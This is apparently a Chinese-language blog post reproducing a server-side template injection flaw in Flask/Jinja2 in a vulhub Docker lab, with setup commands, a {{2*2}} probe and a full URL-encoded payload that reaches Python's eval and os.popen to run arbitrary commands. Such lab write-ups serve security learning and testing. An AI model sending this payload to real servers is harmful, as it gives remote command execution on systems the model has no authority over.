Flask(Jinja2) 服务端模板注入漏洞

Flask(Jinja2) 服务端模板注入漏洞

Flask(Jinja2) 服务端模板注入漏洞

Flask 是一个 web 框架。也就是说 Flask 为你提供工具,库和技术来允许你构建一个 web 应用程序。这个 wdb 应用程序可以使一些 web 页面、博客、wiki、基于 web 的日历应用或商业网站。


漏洞环境

我们先下载环境,在github有别人直接搭建好的docker环境我们直接拿来用即可

git clone git://github.com/vulhub/vulhub.git
cd vulhub/flask/ssti/
docker-compose up -d

访问IP:8080/即可看到一个flask的欢迎页面。


影响版本

Werkzeug 一个 WSGI 工具包

jinja2 模板引擎


漏洞复现

访问http://192.168.200.23:8000/?name={{2*2}}如果后面的2*2被解析就证明漏洞存在

执行命令执行poc

GET /?name={%25%20for%20c%20in%20[].__class__.__base__.__subclasses__()%20%25}%0A{%25%20if%20c.__name__%20%3D%3D%20%27catch_warnings%27%20%25}%0A%20%20{%25%20for%20b%20in%20c.__init__.__globals__.values()%20%25}%0A%20%20{%25%20if%20b.__class__%20%3D%3D%20{}.__class__%20%25}%0A%20%20%20%20{%25%20if%20%27eval%27%20in%20b.keys()%20%25}%0A%20%20%20%20%20%20{{%20b[%27eval%27](%27__import__(%22os%22).popen(%22执行的命令%22).read()%27)%20}}%0A%20%20%20%20{%25%20endif%20%25}%0A%20%20{%25%20endif%20%25}%0A%20%20{%25%20endfor%20%25}%0A{%25%20endif%20%25}%0A{%25%20endfor%20%25} HTTP/1.1
Host: 192.168.200.23:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

命令执行成功

posted @ 2021-07-05 16:43  blankunbeaten  阅读(203)  评论(0编辑  收藏  举报